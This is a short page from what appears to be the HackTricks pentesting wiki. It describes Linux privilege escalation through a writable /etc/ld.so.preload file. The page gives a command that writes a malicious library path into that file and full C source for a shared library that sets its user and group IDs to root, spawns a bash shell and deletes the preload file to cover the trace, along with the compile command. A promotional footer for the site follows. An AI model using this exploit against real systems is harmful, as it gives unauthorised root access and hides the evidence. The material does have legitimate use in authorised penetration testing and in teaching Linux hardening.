write-to-root.md

Write to Root

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/etc/ld.so.preload

This file behaves like LD_PRELOAD env variable but it also works in SUID binaries.
If you can create it or modify it, you can just add a path to a library that will be loaded with each executed binary.

For example: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unlink("/etc/ld.so.preload");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Support HackTricks and get benefits!

• Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
• Discover The PEASS Family, our collection of exclusive NFTs
• Get the official PEASS & HackTricks swag
• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
• Share your hacking tricks by submitting PRs to the hacktricks github repo.